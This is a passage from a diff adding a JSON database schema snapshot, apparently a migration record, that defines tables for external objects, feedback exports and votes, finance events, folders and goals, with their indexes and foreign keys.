+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_provider_status_idx": {
+          "name": "external_objects_company_provider_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status_category",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_refresh_idx": {
+          "name": "external_objects_company_refresh_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_refresh_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_external_id_uq": {
+          "name": "external_objects_company_external_id_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_identity_uq": {
+          "name": "external_objects_company_identity_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_objects_company_id_companies_id_fk": {
+          "name": "external_objects_company_id_companies_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_objects_plugin_id_plugins_id_fk": {
+          "name": "external_objects_plugin_id_plugins_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_exports": {
+      "name": "feedback_exports",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "feedback_vote_id": {
+          "name": "feedback_vote_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_only'"
+        },
+        "destination": {
+          "name": "destination",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "export_id": {
+          "name": "export_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-envelope-v2'"
+        },
+        "bundle_version": {
+          "name": "bundle_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-bundle-v2'"
+        },
+        "payload_version": {
+          "name": "payload_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-v1'"
+        },
+        "payload_digest": {
+          "name": "payload_digest",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload_snapshot": {
+          "name": "payload_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_summary": {
+          "name": "target_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempted_at": {
+          "name": "last_attempted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exported_at": {
+          "name": "exported_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_exports_feedback_vote_idx": {
+          "name": "feedback_exports_feedback_vote_idx",
+          "columns": [
+            {
+              "expression": "feedback_vote_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_created_idx": {
+          "name": "feedback_exports_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_status_idx": {
+          "name": "feedback_exports_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_issue_idx": {
+          "name": "feedback_exports_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_project_idx": {
+          "name": "feedback_exports_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_author_idx": {
+          "name": "feedback_exports_company_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_exports_company_id_companies_id_fk": {
+          "name": "feedback_exports_company_id_companies_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_feedback_vote_id_feedback_votes_id_fk": {
+          "name": "feedback_exports_feedback_vote_id_feedback_votes_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "feedback_votes",
+          "columnsFrom": [
+            "feedback_vote_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_issue_id_issues_id_fk": {
+          "name": "feedback_exports_issue_id_issues_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_project_id_projects_id_fk": {
+          "name": "feedback_exports_project_id_projects_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_votes": {
+      "name": "feedback_votes",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_with_labs": {
+          "name": "shared_with_labs",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "shared_at": {
+          "name": "shared_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_votes_company_issue_idx": {
+          "name": "feedback_votes_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_issue_target_idx": {
+          "name": "feedback_votes_issue_target_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_author_idx": {
+          "name": "feedback_votes_author_idx",
+          "columns": [
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_company_target_author_idx": {
+          "name": "feedback_votes_company_target_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_votes_company_id_companies_id_fk": {
+          "name": "feedback_votes_company_id_companies_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_votes_issue_id_issues_id_fk": {
+          "name": "feedback_votes_issue_id_issues_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.finance_events": {
+      "name": "finance_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cost_event_id": {
+          "name": "cost_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "event_kind": {
+          "name": "event_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'debit'"
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_adapter_type": {
+          "name": "execution_adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pricing_tier": {
+          "name": "pricing_tier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "region": {
+          "name": "region",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quantity": {
+          "name": "quantity",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unit": {
+          "name": "unit",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "amount_cents": {
+          "name": "amount_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "currency": {
+          "name": "currency",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'USD'"
+        },
+        "estimated": {
+          "name": "estimated",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "external_invoice_id": {
+          "name": "external_invoice_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata_json": {
+          "name": "metadata_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "finance_events_company_occurred_idx": {
+          "name": "finance_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_biller_occurred_idx": {
+          "name": "finance_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_kind_occurred_idx": {
+          "name": "finance_events_company_kind_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "event_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_direction_occurred_idx": {
+          "name": "finance_events_company_direction_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_heartbeat_run_idx": {
+          "name": "finance_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_cost_event_idx": {
+          "name": "finance_events_company_cost_event_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cost_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "finance_events_company_id_companies_id_fk": {
+          "name": "finance_events_company_id_companies_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_agent_id_agents_id_fk": {
+          "name": "finance_events_agent_id_agents_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_issue_id_issues_id_fk": {
+          "name": "finance_events_issue_id_issues_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "finance_events_project_id_projects_id_fk": {
+          "name": "finance_events_project_id_projects_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_goal_id_goals_id_fk": {
+          "name": "finance_events_goal_id_goals_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "finance_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_cost_event_id_cost_events_id_fk": {
+          "name": "finance_events_cost_event_id_cost_events_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "cost_events",
+          "columnsFrom": [
+            "cost_event_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.folders": {
+      "name": "folders",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "system_key": {
+          "name": "system_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "folders_company_kind_position_idx": {
+          "name": "folders_company_kind_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_root_slug_uq": {
+          "name": "folders_company_kind_root_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_slug_uq": {
+          "name": "folders_company_kind_parent_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_system_key_uq": {
+          "name": "folders_company_kind_system_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "system_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"system_key\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_position_idx": {
+          "name": "folders_company_kind_parent_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "folders_company_id_companies_id_fk": {
+          "name": "folders_company_id_companies_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "folders_parent_id_folders_id_fk": {
+          "name": "folders_parent_id_folders_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.goals": {
+      "name": "goals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'task'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'planned'"
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
